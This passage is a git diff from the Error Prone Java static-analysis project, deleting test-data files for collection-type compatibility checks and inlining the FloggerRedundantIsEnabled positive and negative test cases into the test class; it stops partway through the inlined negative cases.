http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import java.util.HashMap; - -/** This is a regression test for Issue 222. */ -public class CollectionIncompatibleTypeClassCast extends HashMap { - public void test(K k) { - get(k); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java deleted file mode 100644 index 14dc3de1120..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeNegativeCases.java +++ /dev/null @@ -1,282 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.common.base.Optional; -import com.google.common.collect.ClassToInstanceMap; -import java.util.ArrayList; -import java.util.Collection; -import java.util.Date; -import java.util.Deque; -import java.util.Dictionary; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.Stack; -import java.util.Vector; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ConcurrentNavigableMap; -import java.util.concurrent.ConcurrentSkipListMap; - -/** Negative test cases for {@link CollectionIncompatibleType}. */ -public class CollectionIncompatibleTypeNegativeCases { - - /* Tests for API coverage */ - - public boolean collection(Collection collection1, Collection collection2) { - boolean result = collection1.contains("ok"); - result &= collection1.contains(null); - result &= collection1.remove("ok"); - result &= collection1.remove(null); - result &= collection1.containsAll(collection2); - result &= collection1.containsAll(null); - result &= collection1.removeAll(collection2); - result &= collection1.removeAll(null); - result &= collection1.retainAll(collection2); - return result && collection1.retainAll(null); - } - - public boolean collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { - boolean result = arrayList1.contains("ok"); - result &= arrayList1.contains(null); - result &= arrayList1.remove("ok"); - result &= arrayList1.remove(null); - result &= arrayList1.containsAll(arrayList2); - result &= arrayList1.containsAll(null); - result &= arrayList1.removeAll(arrayList2); - result &= arrayList1.removeAll(null); - result &= arrayList1.retainAll(arrayList2); - return result && arrayList1.retainAll(null); - } - - public boolean deque(Deque deque) { - boolean result = deque.removeFirstOccurrence("ok"); - result &= deque.removeFirstOccurrence(null); - result &= deque.removeLastOccurrence("ok"); - return result && deque.removeLastOccurrence(null); - } - - public boolean dequeSubtype(LinkedList linkedList) { - boolean result = linkedList.removeFirstOccurrence("ok"); - result &= linkedList.removeFirstOccurrence(null); - result &= linkedList.removeLastOccurrence("ok"); - return result && linkedList.removeLastOccurrence(null); - } - - public int dictionary(Dictionary dictionary) { - int result = dictionary.get("ok"); - result += dictionary.get(null); - result += dictionary.remove("ok"); - return result + dictionary.remove(null); - } - - public int dictionarySubtype(Hashtable hashtable) { - int result = hashtable.get("ok"); - result += hashtable.get(null); - result += hashtable.remove("ok"); - return result + hashtable.remove(null); - } - - public int list() { - List list = new ArrayList(); - int result = list.indexOf("ok"); - result += list.indexOf(null); - result += list.lastIndexOf("ok"); - return result + list.lastIndexOf(null); - } - - public int listSubtype() { - ArrayList arrayList = new ArrayList<>(); - int result = arrayList.indexOf("ok"); - result += arrayList.indexOf(null); - result += arrayList.lastIndexOf("ok"); - return result + arrayList.lastIndexOf(null); - } - - public boolean map() { - Map map = new HashMap<>(); - String result = map.get(1); - result = map.getOrDefault(1, "hello"); - boolean result2 = map.containsKey(1); - result2 = map.containsValue("ok"); - result2 &= map.containsValue(null); - result = map.remove(1); - return result2; - } - - public boolean mapSubtype() { - ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); - String result = concurrentNavigableMap.get(1); - boolean result2 = concurrentNavigableMap.containsKey(1); - result2 &= concurrentNavigableMap.containsValue("ok"); - result2 &= concurrentNavigableMap.containsValue(null); - result = concurrentNavigableMap.remove(1); - return result2; - } - - public int stack(Stack stack) { - int result = stack.search("ok"); - return result + stack.search(null); - } - - private static class MyStack extends Stack {} - - public int stackSubtype(MyStack myStack) { - int result = myStack.search("ok"); - return result + myStack.search(null); - } - - public int vector(Vector vector) { - int result = vector.indexOf("ok", 0); - result += vector.indexOf(null, 0); - result += vector.lastIndexOf("ok", 0); - return result + vector.lastIndexOf(null, 0); - } - - public int vectorSubtype(Stack stack) { - int result = stack.indexOf("ok", 0); - result += stack.indexOf(null, 0); - result += stack.lastIndexOf("ok", 0); - return result + stack.lastIndexOf(null, 0); - } - - /* Tests for behavior */ - - private class B extends Date {} - - public boolean argTypeExtendsContainedType() { - Collection collection = new ArrayList<>(); - return collection.contains(new B()); - } - - public boolean containedTypeExtendsArgType() { - Collection collection = new ArrayList<>(); - Object actuallyAString = "ok"; - return collection.contains(actuallyAString); - } - - public boolean boundedWildcard() { - Collection collection = new ArrayList<>(); - return collection.contains(new Date()) || collection.contains(new B()); - } - - public boolean unboundedWildcard() { - Collection collection = new ArrayList<>(); - return collection.contains("ok") || collection.contains(new Object()); - } - - public boolean rawType() { - Collection collection = new ArrayList(); - return collection.contains("ok"); - } - - private class DoesntExtendCollection { - public boolean contains(Object o) { - return true; - } - } - - public boolean doesntExtendCollection() { - DoesntExtendCollection collection = new DoesntExtendCollection<>(); - return collection.contains(new Date()); - } - - private static class Pair { - public A first; - public B second; - } - - public boolean declaredTypeVsExpressionType(Pair pair, List list) { - return list.contains(pair.first); - } - - public boolean containsParameterizedType( - Collection> collection, Class clazz) { - return collection.contains(clazz); - } - - public boolean containsWildcard(Collection collection, Optional optional) { - return collection.contains(optional.get()); - } - - public T subclassHasDifferentTypeParameters( - ClassToInstanceMap map, Class klass) { - return klass.cast(map.get(klass)); - } - - // Ensure we don't match Hashtable.contains and ConcurrentHashtable.contains because there is a - // separate check, HashtableContains, specifically for them. - public boolean hashtableContains() { - Hashtable hashtable = new Hashtable<>(); - ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap<>(); - return hashtable.contains(1) || concurrentHashMap.contains(1); - } - - private static class MyHashMap extends HashMap {} - - public boolean boundedTypeParameters(MyHashMap myHashMap) { - return myHashMap.containsKey(1); - } - - interface Interface1 {} - - interface Interface2 {} - - private static class NonFinalClass {} - - public boolean bothInterfaces(Collection collection, Interface2 iface2) { - return collection.contains(iface2); - } - - public boolean oneInterfaceAndOneNonFinalClass( - Collection collection, NonFinalClass nonFinalClass) { - return collection.contains(nonFinalClass); - } - - public boolean oneNonFinalClassAndOneInterface( - Collection collection, Interface1 iface) { - return collection.contains(iface); - } - - public void methodArgHasSubtypeTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgHasSuperTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgHasWildcardTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgCastToCollectionWildcard( - Collection collection1, Collection collection2) { - collection1.containsAll((Collection) collection2); - } - - public void classToken( - Set>> iterables, Class arrayListClass) { - iterables.contains(arrayListClass); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java deleted file mode 100644 index 15842e60b8d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import java.util.Properties; - -/** This is a regression test for Issue 222. */ -public class CollectionIncompatibleTypeOutOfBounds { - public void test() { - Properties properties = new Properties(); - properties.get(""); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java deleted file mode 100644 index bcb973bfb79..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java +++ /dev/null @@ -1,267 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.common.collect.ClassToInstanceMap; -import java.util.ArrayList; -import java.util.Collection; -import java.util.Date; -import java.util.Deque; -import java.util.Dictionary; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.Stack; -import java.util.Vector; -import java.util.concurrent.ConcurrentNavigableMap; -import java.util.concurrent.ConcurrentSkipListMap; - -/** Positive test cases for {@link CollectionIncompatibleType}. */ -public class CollectionIncompatibleTypePositiveCases { - - /* Tests for API coverage */ - - public void collection(Collection collection1, Collection collection2) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - collection1.contains("bad"); - // BUG: Diagnostic contains: - collection1.remove("bad"); - // BUG: Diagnostic contains: Argument 'collection2' should not be passed to this method - // its type Collection has a type argument String that is not compatible with its - // collection's type argument Integer - collection1.containsAll(collection2); - // BUG: Diagnostic contains: - collection1.removeAll(collection2); - // BUG: Diagnostic contains: - collection1.retainAll(collection2); - } - - public void collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - arrayList1.contains("bad"); - // BUG: Diagnostic contains: - arrayList1.remove("bad"); - // BUG: Diagnostic contains: Argument 'arrayList2' should not be passed to this method - // its type ArrayList has a type argument String that is not compatible with its - // collection's type argument Integer - arrayList1.containsAll(arrayList2); - // BUG: Diagnostic contains: - arrayList1.removeAll(arrayList2); - // BUG: Diagnostic contains: - arrayList1.retainAll(arrayList2); - } - - public boolean deque(Deque deque) { - // BUG: Diagnostic contains: - boolean result = deque.removeFirstOccurrence("bad"); - // BUG: Diagnostic contains: - return result && deque.removeLastOccurrence("bad"); - } - - public boolean dequeSubtype(LinkedList linkedList) { - // BUG: Diagnostic contains: - boolean result = linkedList.removeFirstOccurrence("bad"); - // BUG: Diagnostic contains: - return result && linkedList.removeLastOccurrence("bad"); - } - - public String dictionary(Dictionary dictionary) { - // BUG: Diagnostic contains: - String result = dictionary.get("bad"); - // BUG: Diagnostic contains: - return result + dictionary.remove("bad"); - } - - public String dictionarySubtype(Hashtable hashtable) { - // BUG: Diagnostic contains: - String result = hashtable.get("bad"); - // BUG: Diagnostic contains: - return result + hashtable.remove("bad"); - } - - public int list() { - List list = new ArrayList(); - // BUG: Diagnostic contains: - int result = list.indexOf(1); - // BUG: Diagnostic contains: - return result + list.lastIndexOf(1); - } - - public void listSubtype() { - ArrayList arrayList = new ArrayList<>(); - // BUG: Diagnostic contains: - int result = arrayList.indexOf(1); - // BUG: Diagnostic contains: - result = arrayList.lastIndexOf(1); - } - - public boolean map() { - Map map = new HashMap<>(); - // BUG: Diagnostic contains: - String result = map.get("bad"); - // BUG: Diagnostic contains: - result = map.getOrDefault("bad", "soBad"); - // BUG: Diagnostic contains: - boolean result2 = map.containsKey("bad"); - // BUG: Diagnostic contains: - result2 = map.containsValue(1); - // BUG: Diagnostic contains: - result = map.remove("bad"); - return false; - } - - public boolean mapSubtype() { - ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); - // BUG: Diagnostic contains: - String result = concurrentNavigableMap.get("bad"); - // BUG: Diagnostic contains: - boolean result2 = concurrentNavigableMap.containsKey("bad"); - // BUG: Diagnostic contains: - result2 = concurrentNavigableMap.containsValue(1); - // BUG: Diagnostic contains: - result = concurrentNavigableMap.remove("bad"); - return false; - } - - public int stack(Stack stack) { - // BUG: Diagnostic contains: - return stack.search("bad"); - } - - private static class MyStack extends Stack {} - - public int stackSubtype(MyStack myStack) { - // BUG: Diagnostic contains: - return myStack.search("bad"); - } - - public int vector(Vector vector) { - // BUG: Diagnostic contains: - int result = vector.indexOf("bad", 0); - // BUG: Diagnostic contains: - return result + vector.lastIndexOf("bad", 0); - } - - public int vectorSubtype(Stack stack) { - // BUG: Diagnostic contains: - int result = stack.indexOf("bad", 0); - // BUG: Diagnostic contains: - return result + stack.lastIndexOf("bad", 0); - } - - /* Tests for behavior */ - - public boolean errorMessageUsesSimpleNames(Collection collection) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - return collection.contains("bad"); - } - - private static class Date {} - - public boolean errorMessageUsesFullyQualifedNamesWhenSimpleNamesAreTheSame( - Collection collection1, Collection collection2) { - // BUG: Diagnostic contains: Argument 'new Date()' should not be passed to this method - // its type - // com.google.errorprone.bugpatterns.collectionincompatibletype.testdata.CollectionIncompatibleTypePositiveCases.Date is not compatible with its collection's type argument java.util.Date - return collection1.contains(new Date()); - } - - public boolean boundedWildcard() { - Collection collection = new ArrayList<>(); - // BUG: Diagnostic contains: - return collection.contains("bad"); - } - - private static class Pair { - public A first; - public B second; - } - - public boolean declaredTypeVsExpressionType(Pair pair, List list) { - // BUG: Diagnostic contains: - return list.contains(pair.second); - } - - public String subclassHasDifferentTypeParameters(ClassToInstanceMap map, String s) { - // BUG: Diagnostic contains: - return map.get(s); - } - - private static class MyArrayList extends ArrayList {} - - public void methodArgumentIsSubclassWithDifferentTypeParameters( - Collection collection, MyArrayList myArrayList) { - // BUG: Diagnostic contains: - collection.containsAll(myArrayList); - } - - private static class IncompatibleBounds { - private boolean function(Map map, K key) { - // BUG: Diagnostic contains: - return map.containsValue(key); - } - } - - interface Interface {} - - private static final class FinalClass1 {} - - private static final class FinalClass2 {} - - private static class NonFinalClass1 {} - - private static class NonFinalClass2 {} - - public boolean oneInterfaceAndOneFinalClass( - Collection collection, FinalClass1 finalClass1) { - // BUG: Diagnostic contains: - return collection.contains(finalClass1); - } - - public boolean oneFinalClassAndOneInterface(Collection collection, Interface iface) { - // BUG: Diagnostic contains: - return collection.contains(iface); - } - - public boolean bothNonFinalClasses( - Collection collection, NonFinalClass2 nonFinalClass2) { - // BUG: Diagnostic contains: - return collection.contains(nonFinalClass2); - } - - public boolean bothFinalClasses(Collection collection, FinalClass2 finalClass2) { - // BUG: Diagnostic contains: - return collection.contains(finalClass2); - } - - public boolean oneNonFinalClassAndOneFinalClass( - Collection collection, FinalClass1 finalClass1) { - // BUG: Diagnostic contains: - return collection.contains(finalClass1); - } - - public boolean oneFinalClassAndOneNonFinalClass( - Collection collection, NonFinalClass1 nonFinalClass1) { - // BUG: Diagnostic contains: - return collection.contains(nonFinalClass1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java deleted file mode 100644 index 15b231c5a85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; -import java.util.Set; - -/** Test case for enclosing type */ -public class IncompatibleArgumentTypeEnclosingTypes { - static class Foo { - class Bar { - void doSomething(@CompatibleWith("Y") Object x) {} - } - - class Sub { - class SubSub { - void doSomething(@CompatibleWith("X") Object nestedResolution) {} - - X methodVarIsReturn(@CompatibleWith("X") Object nestedResolution) { - return null; - } - - void methodVarIsFree(@CompatibleWith("X") Object nestedResolution) {} - - void compatibleWithBase(@CompatibleWith("Y") Object nestedResolution) {} - } - } - - static class Baz { - // Shouldn't resolve to anything, would be a compile error due to CompatibleWithMisuse - static void doSomething(@CompatibleWith("X") Object x) {} - } - } - - void testSubs() { - new Foo().new Bar().doSomething("a"); - // BUG: Diagnostic contains: int is not compatible with the required type: String - new Foo().new Bar().doSomething(123); - new Foo().new Bar().doSomething(123); - - Foo.Bar rawtype = new Foo().new Bar(); - rawtype.doSomething(123); // Weakness, rawtype isn't specialized in Foo - - Foo.Baz.doSomething(123); // No resolution of X - } - - void testMegasub() { - new Foo().new Sub().new SubSub().doSomething(true); - // BUG: Diagnostic contains: int is not compatible with the required type: Boolean - new Foo().new Sub().new SubSub().doSomething(123); - - // X in method is unbound - new Foo().new Sub().new SubSub().methodVarIsReturn(123); - - // BUG: Diagnostic contains: int is not compatible with the required type: Set - new Foo().new Sub().new SubSub().>methodVarIsReturn(123); - - // BUG: Diagnostic contains: int is not compatible with the required type: String - new Foo().new Sub().new SubSub().>compatibleWithBase(123); - } - - void extraStuff() { - // Javac throws away the type of since it's not used in params/return type, so we can't - // enforce it here. - new Foo().new Sub().new SubSub().>methodVarIsFree(123); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java deleted file mode 100644 index 8ef722de138..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Test IncompatibleArgumentType with a generic method */ -public class IncompatibleArgumentTypeGenericMethod { - class A { - C remove(@CompatibleWith("B") Object b, @CompatibleWith("C") Object c) { - return null; - } - - C varargs(@CompatibleWith("B") Object b, @CompatibleWith("C") Object... cs) { - return (C) cs[0]; - } - } - - class C extends A {} - - void testfoo(C c, A unbound, A boundToNumber) { - c.remove("a", null); // OK, match null to Double - c.remove("a", 123.0); // OK, match Double to Double - c.remove("a", 123); // OK, 2nd arg is unbound - - unbound.remove(null, 123); // OK, variables unbound - - // BUG: Diagnostic contains: String is not compatible with the required type: Number - boundToNumber.remove("123", null); - - // BUG: Diagnostic contains: int is not compatible with the required type: Double - Double d = c.remove("a", 123); - // BUG: Diagnostic contains: int is not compatible with the required type: Double - c.remove("a", 123); - - // BUG: Diagnostic contains: float is not compatible with the required type: Double - c.remove(123, 123.0f); - } - - void testVarargs(A stringA) { - // OK, all varargs elements compatible with Integer - Integer first = stringA.varargs("hi", 2, 3, 4); - - // BUG: Diagnostic contains: long is not compatible with the required type: Integer - first = stringA.varargs("foo", 2, 3L); - - // OK, everything compatible w/ Object - Object o = stringA.varargs("foo", 2L, 1.0d, "a"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java deleted file mode 100644 index 2eee5cb55c7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Test intersection types. */ -public class IncompatibleArgumentTypeIntersectionTypes { - - interface Nothing {} - - interface Something {} - - interface Everything extends Nothing, Something {} - - class Test { - void doSomething(@CompatibleWith("X") Object whatever) {} - } - - class ArrayTest { - void doSomething(@CompatibleWith("X") Object whatever) {} - } - - void testStuff(Test someTest, Everything[] everythings, Nothing nothing) { - // Final classes (Integer) can't be cast to an interface they don't implement - // BUG: Diagnostic contains: int is not compatible with the required type: Everything - someTest.doSomething(123); - - // Non-final classes can. - someTest.doSomething((Object) 123); - - // Arrays can't, since they can only be cast to Serializable - // BUG: Diagnostic contains: Everything[] is not compatible with the required type: Everything - someTest.doSomething(everythings); - - // BUG: Diagnostic contains: Everything[][] is not compatible with the required type: Everything - someTest.doSomething(new Everything[][] {everythings}); - - // OK (since some other implementer of Nothing could implement Everything) - someTest.doSomething(nothing); - } - - void testArraySpecialization( - ArrayTest arrayTest, Integer[] ints, Object[] objz, String[] strings) { - arrayTest.doSomething(ints); - - arrayTest.doSomething(objz); - - // BUG: Diagnostic contains: String[] is not compatible with the required type: Number[] - arrayTest.doSomething(strings); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java deleted file mode 100644 index acdb3c2e490..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Integration test testing a hypothetical multimap interface */ -public class IncompatibleArgumentTypeMultimapIntegration { - interface Multimap { - boolean containsKey(@CompatibleWith("K") Object key); - - boolean containsValue(@CompatibleWith("V") Object value); - - boolean containsEntry(@CompatibleWith("K") Object key, @CompatibleWith("V") Object value); - - boolean containsAllKeys(@CompatibleWith("K") Object key, Object... others); - } - - class MyMultimap implements Multimap { - @Override - public boolean containsKey(Object key) { - return false; - } - - @Override - public boolean containsValue(Object value) { - return false; - } - - @Override - public boolean containsEntry(Object key, Object value) { - return false; - } - - @Override - public boolean containsAllKeys(Object key, Object... keys) { - return false; - } - } - - void testRegularValid(Multimap intToString) { - intToString.containsKey(123); - intToString.containsEntry(123, "abc"); - intToString.containsValue("def"); - // 0-entry vararg doesn't crash - intToString.containsAllKeys(123); - } - - static void testIncompatibleWildcards( - Multimap map, K key, V value) { - map.containsKey(key); - map.containsValue(value); - map.containsEntry(key, value); - - // BUG: Diagnostic contains: V is not compatible with the required type: K - map.containsEntry(value, key); - // BUG: Diagnostic contains: K is not compatible with the required type: V - map.containsValue(key); - // BUG: Diagnostic contains: V is not compatible with the required type: K - map.containsKey(value); - } - - void testVarArgs(Multimap intToString) { - // Validates the first, not the varags params - intToString.containsAllKeys(123, 123, 123); - // TODO(glorioso): If we make it work with varargs, this should fail - intToString.containsAllKeys(123, 123, "a"); - - Integer[] keys = {123, 345}; - intToString.containsAllKeys(123, (Object[]) keys); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java index a822f316092..c3295101e82 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java @@ -35,22 +35,387 @@ public class FloggerRedundantIsEnabledTest { @Test public void doPositiveCases() { compilationTestHelper - .addSourceFile("testdata/FloggerRedundantIsEnabledPositiveCases.java") + .addSourceLines( + "FloggerRedundantIsEnabledPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** Created by mariasam on 7/17/17. */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + } + + public void checkBinaryInIf(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void binaryNegated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atConfig().isEnabled()) { + logger.atConfig().log("test"); + } + } + + public void checkFine(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFine().isEnabled()) { + logger.atFine().log("test"); + } + } + + public void checkFiner(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFiner().isEnabled()) { + logger.atFiner().log("test"); + } + } + + public void checkFinest(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFinest().isEnabled()) { + logger.atFinest().log("test"); + } + } + + public void checkWarning(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atWarning().isEnabled()) { + logger.atWarning().log("test"); + } + } + + public void checkSevere(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atSevere().isEnabled()) { + logger.atSevere().log("test"); + } + } + }""") .doTest(); } @Test public void doNegativeCases() { compilationTestHelper - .addSourceFile("testdata/FloggerRedundantIsEnabledNegativeCases.java") + .addSourceLines( + "FloggerRedundantIsEnabledNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.flogger.testdata; + +import com.google.common.flogger.FluentLogger; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * @author mariasam@google.com (Maria Sam) + */ +public class FloggerRedundantIsEnabledNegativeCases { + + public void basicCase(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void sameLoggerIf(FluentLogger logger, FluentLogger logger2) { + if (logger.equals(logger2)) { + logger.atInfo().log("test"); + } + } + + public void relatedIf(FluentLogger logger, FluentLogger logger2) { + if (logger.atInfo().isEnabled()) { + logger2.atInfo().log("test"); + } + } + + public void doesWork(FluentLogger logger, Map> map) { + if (logger.atFine().isEnabled()) { + for (Map.Entry> toLog : map.entrySet()) { + logger.atFine().log("%s%s", toLog.getKey(), Arrays.toString(toLog.getValue().toArray())); + } + } + } + + public void differentLevels(FluentLogger logger) { + if (logger.atFine().isEnabled()) { + 